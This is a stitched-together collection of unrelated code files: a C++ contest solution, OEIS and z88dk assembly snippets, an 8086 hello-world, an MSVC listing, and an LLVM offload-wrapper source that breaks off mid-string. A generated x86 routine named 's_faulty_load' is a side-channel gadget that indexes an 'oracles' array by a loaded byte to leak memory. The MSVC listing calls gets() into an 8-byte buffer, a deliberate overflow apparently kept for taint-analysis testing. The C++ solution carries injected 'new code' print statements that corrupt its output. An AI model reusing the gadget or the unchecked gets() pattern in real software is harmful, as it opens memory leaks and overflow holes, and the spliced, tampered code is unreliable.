#include<bits/stdc++.h> #include <unordered_map> #include<unordered_set> using namespace std; #define _USE_MATH_DEFINES # define M_PI 3.14159265358979323846 /* pi */ #define ll long long #define ull unsigned long long #define ld long double #define vbe(v) ((v).begin()), ((v).end()) #define sz(v) ((int)((v).size())) #define prec(x) << fixed<< setprecision(x) #define clr(v, d) memset(v, d, sizeof(v)) #define rep(i, v) for(int i=0;i<sz(v);++i) #define lp(i, n) for(int i=0;i<(int)(n);++i) #define lpi(i, j, n) for(int i=(j);i<(int)(n);++i) #define lpd(i, j, n) for(int i=(j);i>=(int)(n);--i) #define MIN(x, y) (((x) < (y)) ? (x) : (y)) #define FASTIO ios_base::sync_with_stdio(false); cin.tie(NULL); cin.tie(0); #define INFLL 1e18 #define INF 1e9 #define MOD 1000000007 #define MOD1 998244353 #define MAXN 200005 ll GCD(ll a, ll b) { return (a) ? GCD(b % a, a) : b; } ll LCM(ll a, ll b) { return a * b / GCD(a, b); } ll fastpow(ll b, ll p) { if (5 > 3) cout << "new code";if (!p) return 1; ll ret = fastpow(b, p >> 1); ret *= ret; if (5 > 3) cout << "new code";if (p & 1) ret *= b; return ret; } void solve(int tst) { ll n, m; cin >> n >> m; vector<ll> k(n), c(m); lp(i, n) { cin >> k[i]; k[i]--; } lp(i, m)cin >> c[i]; sort(vbe(k)); reverse(vbe(k)); int idx=0; ll ans=0; lp(i,n){ if (5 > 3) cout << "new code";if(k[i]>=idx){ ans+=c[idx++]; }else{ ans+=c[k[i]]; } } cout<<ans; } int main() { FASTIO; //freopen("gaser.in", "r", stdin); int t = 1; cin >> t; lp(i, t) { solve(i + 1); cout << "\n"; } }
SECTION code_fp_math48 PUBLIC asm_ilogb EXTERN am48_ilogb defc asm_ilogb = am48_ilogb
; A033547: Otto Haxel's guess for magic numbers of nuclear shells. ; 0,2,6,14,28,50,82,126,184,258,350,462,596,754,938,1150,1392,1666,1974,2318,2700,3122,3586,4094,4648,5250,5902,6606,7364,8178,9050,9982,10976,12034,13158,14350,15612,16946,18354,19838,21400,23042,24766,26574,28468,30450,32522,34686,36944,39298,41750,44302,46956,49714,52578,55550,58632,61826,65134,68558,72100,75762,79546,83454,87488,91650,95942,100366,104924,109618,114450,119422,124536,129794,135198,140750,146452,152306,158314,164478,170800,177282,183926,190734,197708,204850,212162,219646,227304 mov $1,$0 pow $0,2 add $0,5 mul $0,$1 div $0,3
; A199563: 5*9^n+1. ; 6,46,406,3646,32806,295246,2657206,23914846,215233606,1937102446,17433922006,156905298046,1412147682406,12709329141646,114383962274806,1029455660473246,9265100944259206,83385908498332846,750473176484995606,6754258588364960446,60788327295284644006,547094945657561796046,4923854510918056164406,44314690598262505479646,398832215384362549316806,3589489938459262943851246,32305409446133366494661206,290748685015200298451950846,2616738165136802686067557606,23550643486231224174608018446,211955791376081017571472166006,1907602122384729158143249494046,17168419101462562423289245446406,154515771913163061809603209017646,1390641947218467556286428881158806,12515777524966208006577859930429246,112641997724695872059200739373863206 mov $1,9 pow $1,$0 mul $1,10 sub $1,6 div $1,2 add $1,4 mov $0,$1
; A345029: a(n) = Sum_{k=1..n} 3^(floor(n/k) - 1). ; Submitted by Jamie Morken(s4) ; 1,4,11,32,87,258,745,2224,6605,19784,59151,177438,531733,1595104,4783811,14351228,43049043,129147030,387427357,1162281532,3486804959,10460413130,31381119537,94143358500,282429716209,847289143468,2541866366735,7625599086782,22876794056757,68630382168672,205891136898439,617673410655154,1853020203262421,5559060609663920,16677181742775507,50031545228324748,150094635426324163,450283906278602734,1350851718060951761,4052555154181791572,12157665460219744107,36472996380659188182,109418989135000760989 mov $2,$0 seq $0,344814 ; a(n) = Sum_{k=1..n} floor(n/k) * 3^(k-1). mul $0,2 add $0,1 add $2,$0 mov $0,$2 div $0,3
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x1ad9f, %rsi lea addresses_D_ht+0x12d9f, %rdi and %r11, %r11 mov $31, %rcx rep movsw dec %rdx lea addresses_A_ht+0x915a, %rsi lea addresses_WC_ht+0x1aa88, %rdi clflush (%rdi) nop nop nop nop add $22587, %r10 mov $47, %rcx rep movsl nop and $21739, %rdx lea addresses_UC_ht+0xbd9f, %rsi lea addresses_WC_ht+0xec8f, %rdi nop nop sub $42459, %rbp mov $13, %rcx rep movsl nop nop nop nop and $55202, %rdi lea addresses_WT_ht+0x508a, %rsi lea addresses_normal_ht+0x1199f, %rdi nop and %r10, %r10 mov $46, %rcx rep movsq nop nop nop add $46674, %r10 lea addresses_D_ht+0x44bc, %rsi lea addresses_A_ht+0x11c47, %rdi nop nop nop nop nop cmp %r8, %r8 mov $65, %rcx rep movsq nop nop nop nop nop and %r10, %r10 lea addresses_WC_ht+0x707, %rcx nop nop nop nop add %rsi, %rsi movups (%rcx), %xmm7 vpextrq $0, %xmm7, %rbp nop nop and $63889, %rdi lea addresses_WC_ht+0x189f, %rcx nop nop nop dec %rsi movb $0x61, (%rcx) nop nop nop nop nop cmp %r11, %r11 lea addresses_UC_ht+0x19ae7, %r10 sub %r11, %r11 movb $0x61, (%r10) nop nop nop nop inc %r8 lea addresses_D_ht+0x539f, %r8 nop nop nop nop nop and $61901, %rdi vmovups (%r8), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %rdx cmp $36409, %r11 lea addresses_D_ht+0xae77, %rcx sub %r11, %r11 movb $0x61, (%rcx) nop nop nop add $44523, %rcx lea addresses_UC_ht+0x3915, %rdx nop nop nop nop add $19055, %rsi mov (%rdx), %bp sub $20232, %r11 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r8 push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_WT+0x1619d, %rsi lea addresses_WT+0x369f, %rdi clflush (%rsi) and $23396, %r8 mov $122, %rcx rep movsl nop add $38686, %r14 // Store lea addresses_PSE+0x1352c, %rdx nop nop nop inc %r12 mov $0x5152535455565758, %rdi movq %rdi, (%rdx) nop nop nop nop nop add %r8, %r8 // Store lea addresses_normal+0x5f2f, %rsi nop nop nop nop nop and %r14, %r14 mov $0x5152535455565758, %r8 movq %r8, %xmm2 vmovups %ymm2, (%rsi) and $22491, %rsi // Store lea addresses_WT+0xc59f, %rcx nop nop nop nop nop and $30079, %rsi movl $0x51525354, (%rcx) xor $48050, %rsi // Store lea addresses_A+0xdbdb, %rdx nop nop nop nop nop and $28181, %r14 movb $0x51, (%rdx) nop nop nop nop nop add %rcx, %rcx // Faulty Load lea addresses_RW+0x1bd9f, %rsi nop dec %rdi vmovups (%rsi), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $1, %xmm7, %rdx lea oracles, %rdi and $0xff, %rdx shlq $12, %rdx mov (%rdi,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 11}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}} [Faulty Load] {'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 3}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 9}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 2}} {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
#ifndef OPENMW_ESM_LIGH_H #define OPENMW_ESM_LIGH_H #include <string> namespace ESM { class ESMReader; class ESMWriter; /* * Lights. Includes static light sources and also carryable candles * and torches. */ struct Light { static unsigned int sRecordId; enum Flags { Dynamic = 0x001, Carry = 0x002, // Can be carried Negative = 0x004, // Negative light - i.e. darkness Flicker = 0x008, Fire = 0x010, OffDefault = 0x020, // Off by default - does not burn while placed in a cell, but can burn when equipped by an NPC FlickerSlow = 0x040, Pulse = 0x080, PulseSlow = 0x100 }; struct LHDTstruct { float mWeight; int mValue; int mTime; // Duration int mRadius; int mColor; // 4-byte rgba value int mFlags; }; // Size = 24 bytes LHDTstruct mData; std::string mSound, mScript, mModel, mIcon, mName, mId; void load(ESMReader &esm); void save(ESMWriter &esm) const; void blank(); ///< Set record to default state (does not touch the ID). }; } #endif
ASSUME CS:CODE,DS:DATA DATA SEGMENT msg db 'Hello! Welcome to 8086-emulator!!!$' num2 DB 06h num3 DW 1234h num4 DW 0002h sum DB ? sum2 DW ? DATA ENDS CODE SEGMENT start: mov ax,data mov ds,ax ;initialize data segment mov dx,offset msg ;lea dx,msg mov ah,9 int 21h ; print msg mov ah,4ch int 21h CODE ENDS END START
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.00.23506.0 TITLE D:\Projects\TaintAnalysis\AntiTaint\Epilog\src\func-iparam-fastcall.c .686P .XMM include listing.inc .model flat INCLUDELIB MSVCRT INCLUDELIB OLDNAMES PUBLIC ___local_stdio_printf_options PUBLIC __vfprintf_l PUBLIC _printf PUBLIC @func@16 PUBLIC _main PUBLIC ??_C@_0BA@NNIFAFEJ@?$CFd?5?$CFd?5?$CFd?5?$CFd?5?$CFs?6?$AA@ ; `string' EXTRN __imp____acrt_iob_func:PROC EXTRN __imp____stdio_common_vfprintf:PROC EXTRN _gets:PROC EXTRN @__security_check_cookie@4:PROC EXTRN ___security_cookie:DWORD _DATA SEGMENT COMM ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9:QWORD ; `__local_stdio_printf_options'::`2'::_OptionsStorage _DATA ENDS ; COMDAT ??_C@_0BA@NNIFAFEJ@?$CFd?5?$CFd?5?$CFd?5?$CFd?5?$CFs?6?$AA@ CONST SEGMENT ??_C@_0BA@NNIFAFEJ@?$CFd?5?$CFd?5?$CFd?5?$CFd?5?$CFs?6?$AA@ DB '%d %d %d ' DB '%d %s', 0aH, 00H ; `string' CONST ENDS ; Function compile flags: /Ogtpy ; File d:\projects\taintanalysis\antitaint\epilog\src\func-iparam-fastcall.c ; COMDAT _main _TEXT SEGMENT _main PROC ; COMDAT ; 24 : func(1, 2, 3, 4); mov edx, 2 push 4 push 3 lea ecx, DWORD PTR [edx-1] call @func@16 ; 25 : return 0; xor eax, eax ; 26 : } ret 0 _main ENDP _TEXT ENDS ; Function compile flags: /Ogtpy ; File d:\projects\taintanalysis\antitaint\epilog\src\func-iparam-fastcall.c ; COMDAT @func@16 _TEXT SEGMENT _buf$ = -12 ; size = 8 __$ArrayPad$ = -4 ; size = 4 _param3$ = 8 ; size = 4 _param4$ = 12 ; size = 4 @func@16 PROC ; COMDAT ; _param1$ = ecx ; _param2$ = edx ; 16 : { sub esp, 12 ; 0000000cH mov eax, DWORD PTR ___security_cookie xor eax, esp mov DWORD PTR __$ArrayPad$[esp+12], eax push esi push edi ; 17 : char buf[8]; ; 18 : gets(buf); lea eax, DWORD PTR _buf$[esp+20] mov esi, edx push eax mov edi, ecx call _gets ; 19 : printf("%d %d %d %d %s\n", param1, param2, param3, param4, buf); lea eax, DWORD PTR _buf$[esp+24] push eax push DWORD PTR _param4$[esp+24] push DWORD PTR _param3$[esp+28] push esi push edi push OFFSET ??_C@_0BA@NNIFAFEJ@?$CFd?5?$CFd?5?$CFd?5?$CFd?5?$CFs?6?$AA@ call _printf ; 20 : } mov ecx, DWORD PTR __$ArrayPad$[esp+48] add esp, 28 ; 0000001cH pop edi pop esi xor ecx, esp call @__security_check_cookie@4 add esp, 12 ; 0000000cH ret 8 @func@16 ENDP _TEXT ENDS ; Function compile flags: /Ogtpy ; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\stdio.h ; COMDAT _printf _TEXT SEGMENT __Format$ = 8 ; size = 4 _printf PROC ; COMDAT ; 951 : int _Result; ; 952 : va_list _ArgList; ; 953 : __crt_va_start(_ArgList, _Format); ; 954 : _Result = _vfprintf_l(stdout, _Format, NULL, _ArgList); lea eax, DWORD PTR __Format$[esp] push eax push 0 push DWORD PTR __Format$[esp+4] push 1 call DWORD PTR __imp____acrt_iob_func add esp, 4 push eax call __vfprintf_l add esp, 16 ; 00000010H ; 955 : __crt_va_end(_ArgList); ; 956 : return _Result; ; 957 : } ret 0 _printf ENDP _TEXT ENDS ; Function compile flags: /Ogtpy ; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\stdio.h ; COMDAT __vfprintf_l _TEXT SEGMENT __Stream$ = 8 ; size = 4 __Format$ = 12 ; size = 4 __Locale$ = 16 ; size = 4 __ArgList$ = 20 ; size = 4 __vfprintf_l PROC ; COMDAT ; 639 : return __stdio_common_vfprintf(_CRT_INTERNAL_LOCAL_PRINTF_OPTIONS, _Stream, _Format, _Locale, _ArgList); push DWORD PTR __ArgList$[esp-4] push DWORD PTR __Locale$[esp] push DWORD PTR __Format$[esp+4] push DWORD PTR __Stream$[esp+8] call ___local_stdio_printf_options push DWORD PTR [eax+4] push DWORD PTR [eax] call DWORD PTR __imp____stdio_common_vfprintf add esp, 24 ; 00000018H ; 640 : } ret 0 __vfprintf_l ENDP _TEXT ENDS ; Function compile flags: /Ogtpy ; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\corecrt_stdio_config.h ; COMDAT ___local_stdio_printf_options _TEXT SEGMENT ___local_stdio_printf_options PROC ; COMDAT ; 74 : static unsigned __int64 _OptionsStorage; ; 75 : return &_OptionsStorage; mov eax, OFFSET ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9 ; `__local_stdio_printf_options'::`2'::_OptionsStorage ; 76 : } ret 0 ___local_stdio_printf_options ENDP _TEXT ENDS END
//===-- clang-offload-wrapper/ClangOffloadWrapper.cpp -----------*- C++ -*-===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// /// /// \file /// Implementation of the offload wrapper tool. It takes offload target binaries /// as input and creates wrapper bitcode file containing target binaries /// packaged as data. Wrapper bitcode also includes initialization code which /// registers target binaries in offloading runtime at program startup. /// //===----------------------------------------------------------------------===// #include "clang/Basic/Version.h" #include "llvm/ADT/ArrayRef.h" #include "llvm/ADT/Triple.h" #include "llvm/Bitcode/BitcodeWriter.h" #include "llvm/IR/Constants.h" #include "llvm/IR/GlobalVariable.h" #include "llvm/IR/IRBuilder.h" #include "llvm/IR/LLVMContext.h" #include "llvm/IR/Module.h" #include "llvm/Support/CommandLine.h" #include "llvm/Support/Errc.h" #include "llvm/Support/Error.h" #include "llvm/Support/ErrorOr.h" #include "llvm/Support/FileSystem.h" #include "llvm/Support/MemoryBuffer.h" #include "llvm/Support/Signals.h" #include "llvm/Support/ToolOutputFile.h" #include "llvm/Support/WithColor.h" #include "llvm/Support/raw_ostream.h" #include "llvm/Transforms/Utils/ModuleUtils.h" #include <cassert> #include <cstdint> using namespace llvm; static cl::opt<bool> Help("h", cl::desc("Alias for -help"), cl::Hidden); // Mark all our options with this category, everything else (except for -version // and -help) will be hidden. static cl::OptionCategory ClangOffloadWrapperCategory("clang-offload-wrapper options"); static cl::opt<std::string> Output("o", cl::Required, cl::desc("Output filename"), cl::value_desc("filename"), cl::cat(ClangOffloadWrapperCategory)); static cl::list<std::string> Inputs(cl::Positional, cl::OneOrMore, cl::desc("<input files>"), cl::cat(ClangOffloadWrapperCategory)); static cl::opt<std::string> Target("target", cl::Required, cl::desc("Target triple for the output module"), cl::value_desc("triple"), cl::cat(ClangOffloadWrapperCategory)); namespace { class BinaryWrapper { LLVMContext C; Module M; StructType *EntryTy = nullptr; StructType *ImageTy = nullptr; StructType *DescTy = nullptr; private: IntegerType *getSizeTTy() { switch (M.getDataLayout().getPointerTypeSize(Type::getInt8PtrTy(C))) { case 4u: return Type::getInt32Ty(C); case 8u: return Type::getInt64Ty(C); } llvm_unreachable("unsupported pointer type size"); } // struct __tgt_offload_entry { // void *addr; // char *name; // size_t size; // int32_t flags; // int32_t reserved; // }; StructType *getEntryTy() { if (!EntryTy) EntryTy = StructType::create("__tgt_offload_entry", Type::getInt8PtrTy(C), Type::getInt8PtrTy(C), getSizeTTy(), Type::getInt32Ty(C), Type::getInt32Ty(C)); return EntryTy; } PointerType *getEntryPtrTy() { return PointerType::getUnqual(getEntryTy()); } // struct __tgt_device_image { // void *ImageStart; // void *ImageEnd; // __tgt_offload_entry *EntriesBegin; // __tgt_offload_entry *EntriesEnd; // }; StructType *getDeviceImageTy() { if (!ImageTy) ImageTy = StructType::create("__tgt_device_image", Type::getInt8PtrTy(C), Type::getInt8PtrTy(C), getEntryPtrTy(), getEntryPtrTy()); return ImageTy; } PointerType *getDeviceImagePtrTy() { return PointerType::getUnqual(getDeviceImageTy()); } // struct __tgt_bin_desc { // int32_t NumDeviceImages; // __tgt_device_image *DeviceImages; // __tgt_offload_entry *HostEntriesBegin; // __tgt_offload_entry *HostEntriesEnd; // }; StructType *getBinDescTy() { if (!DescTy) DescTy = StructType::create("__tgt_bin_desc", Type::getInt32Ty(C), getDeviceImagePtrTy(), getEntryPtrTy(), getEntryPtrTy()); return DescTy; } PointerType *getBinDescPtrTy() { return PointerType::getUnqual(getBinDescTy()); } /// Creates binary descriptor for the given device images. Binary descriptor /// is an object that is passed to the offloading runtime at program startup /// and it describes all device images available in the executable or shared /// library. It is defined as follows /// /// __attribute__((visibility("hidden"))) /// extern __tgt_offload_entry *__start_omp_offloading_entries; /// __attribute__((visibility("hidden"))) /// extern __tgt_offload_entry *__stop_omp_offloading_entries; /// /// static const char Image0[] = { <Bufs.front() contents> }; /// ... /// static const char ImageN[] = { <Bufs.back() contents> }; /// /// static const __tgt_device_image Images[] = { /// { /// Image0, /*ImageStart*/ /// Image0 + sizeof(Image0), /*ImageEnd*/ /// __start_omp_offloading_entries, /*EntriesBegin*/ /// __stop_omp_offloading_entries /*EntriesEnd*/ /// }, /// ... /// { /// ImageN, /*ImageStart*/ /// ImageN + sizeof(ImageN), /*ImageEnd*/ /// __start_omp_offloading_entries, /*EntriesBegin*/ /// __stop_omp_offloading_entries /*EntriesEnd*/ /// } /// }; /// /// static const __tgt_bin_desc BinDesc = { /// sizeof(Images) / sizeof(Images[0]), /*NumDeviceImages*/ /// Images, /*DeviceImages*/ /// __start_omp_offloading_entries, /*HostEntriesBegin*/ /// __stop_omp_offloading_entries /*HostEntriesEnd*/ /// }; /// /// Global variable that represents BinDesc is returned. GlobalVariable *createBinDesc(ArrayRef<ArrayRef<char>> Bufs) { // Create external begin/end symbols for the offload entries table. auto *EntriesB = new GlobalVariable( M, getEntryTy(), /*isConstant*/ true, GlobalValue::ExternalLinkage, /*Initializer*/ nullptr, "__start_omp_offloading_entries"); EntriesB->setVisibility(GlobalValue::HiddenVisibility); auto *EntriesE = new GlobalVariable( M, getEntryTy(), /*isConstant*/ true, GlobalValue::ExternalLinkage, /*Initializer*/ nullptr, "__stop_omp_offloading_entries"); EntriesE->setVisibility(GlobalValue::HiddenVisibility); // We assume that external begin/end symbols that we have created above will // be defined by the linker. But linker will do that only if linker inputs // have section with "omp_offloading_entries" name which is not guaranteed. // So, we just create dummy zero sized object in the offload entries section // to force linker to define those symbols. auto *DummyInit = ConstantAggregateZero::get(ArrayType::get(getEntryTy(), 0u)); auto *DummyEntry = new GlobalVariable( M, DummyInit->getType(), true, GlobalVariable::ExternalLinkage, DummyInit, "__dummy.omp_offloading.entry"); DummyEntry->setSection("omp_offloading_entries"); DummyEntry->setVisibility(GlobalValue::HiddenVisibility); auto *Zero = ConstantInt::get(getSizeTTy(), 0u); Constant *ZeroZero[] = {Zero, Zero}; // Create initializer for the images array. SmallVector<Constant *, 4u> ImagesInits; ImagesInits.reserve(Bufs.size()); for (ArrayRef<char> Buf : Bufs) { auto *Data = ConstantDataArray::get(C, Buf); auto *Image = new GlobalVariable(M, Data->getType(), /*isConstant*/ true, GlobalVariable::InternalLinkage, Data, ".omp_offloading.device_image"); Image->setUnnamedAddr(GlobalValue::UnnamedAddr::Global); auto *Size = ConstantInt::get(getSizeTTy(), Buf.size()); Constant *ZeroSize[] = {Zero, Size}; auto *ImageB = ConstantExpr::getGetElementPtr(Image->getValueType(), Image, ZeroZero); auto *ImageE = ConstantExpr::getGetElementPtr(Image->getValueType(), Image, ZeroSize); ImagesInits.push_back(ConstantStruct::get(getDeviceImageTy(), ImageB, ImageE, EntriesB, EntriesE)); } // Then create images array. auto *ImagesData = ConstantArray::get( ArrayType::get(getDeviceImageTy(), ImagesInits.size()), ImagesInits); auto *Images = new GlobalVariable(M, ImagesData->getType(), /*isConstant*/ true, GlobalValue::InternalLinkage, ImagesData, ".omp_offloading.device_images"); Images->setUnnamedAddr(GlobalValue::UnnamedAddr::Global); auto *ImagesB = ConstantExpr::getGetElementPtr(Images->getValueType(), Images, ZeroZero); // And finally create the binary descriptor object. auto *DescInit = ConstantStruct::get( getBinDescTy(), ConstantInt::get(Type::getInt32Ty(C), ImagesInits.size()), ImagesB, EntriesB, EntriesE); return new GlobalVariable(M, DescInit->getType(), /*isConstant*/ true, GlobalValue::InternalLinkage, DescInit, ".omp_offloading.descriptor"); } void createRegisterFunction(GlobalVariable *BinDesc) { auto *FuncTy = FunctionType::get(Type::getVoidTy(C), /*isVarArg*/ false); auto *Func = Function::Create(FuncTy, GlobalValue::InternalLinkage, ".omp_offloading.descriptor_reg", &M); Func->setSection(".text.startup"); // Get __tgt_register_lib function declaration. auto *RegFuncTy = FunctionType::get(Type::getVoidTy(C), getBinDescPtrTy(), /*isVarArg*/ false); FunctionCallee RegFuncC = M.getOrInsertFunction("__tgt_register_lib", RegFuncTy); // Construct function body IRBuilder<> Builder(BasicBlock::Create(C, "entry", Func)); Builder.CreateCall(RegFuncC, BinDesc); Builder.CreateRetVoid(); // Add this function to constructors. // Set priority to 1 so that __tgt_register_lib is executed AFTER // __tgt_register_requires (we want to know what requirements have been // asked for before we load a libomptarget plugin so that by the time the // plugin is loaded it can report how many devices there are which can // satisfy these requirements). appendToGlobalCtors(M, Func, /*Priority*/ 1); } void createUnregisterFunction(GlobalVariable *BinDesc) { auto *FuncTy = FunctionType::get(Type::getVoidTy(C), /*isVarArg*/ false); auto *Func = Function::Create(FuncTy, GlobalValue::InternalLinkage, ".omp_offloading.descriptor_unreg", &M); Func->setSection(".text.startup"); // Get __tgt_unregister_lib function declaration. auto *UnRegFuncTy = FunctionType::get(Type::getVoidTy(C), getBinDescPtrTy(), /*isVarArg*/ false); FunctionCallee UnRegFuncC = M.getOrInsertFunction("__tgt_unregister_lib", UnRegFuncTy); // Construct function body IRBuilder<> Builder(BasicBlock::Create(C, "entry", Func)); Builder.CreateCall(UnRegFuncC, BinDesc); Builder.CreateRetVoid(); // Add this function to global destructors. // Match priority of __tgt_register_lib appendToGlobalDtors(M, Func, /*Priority*/ 1); } public: BinaryWrapper(StringRef Target) : M("offload.wrapper.object", C) { M.setTargetTriple(Target); } const Module &wrapBinaries(ArrayRef<ArrayRef<char>> Binaries) { GlobalVariable *Desc = createBinDesc(Binaries); assert(Desc && "no binary descriptor"); createRegisterFunction(Desc); createUnregisterFunction(Desc); return M; } }; } // anonymous namespace int main(int argc, const char **argv) { sys::PrintStackTraceOnErrorSignal(argv[0]); cl::HideUnrelatedOptions(ClangOffloadWrapperCategory); cl::SetVersionPrinter([](raw_ostream &OS) { OS << clang::getClangToolFullVersion("clang-offload-wrapper") << '\n'; }); cl::ParseCommandLineOptions( argc, argv, "A tool to create a wrapper bitcode for offload target binaries. Takes " "offload\ntarget binaries as input 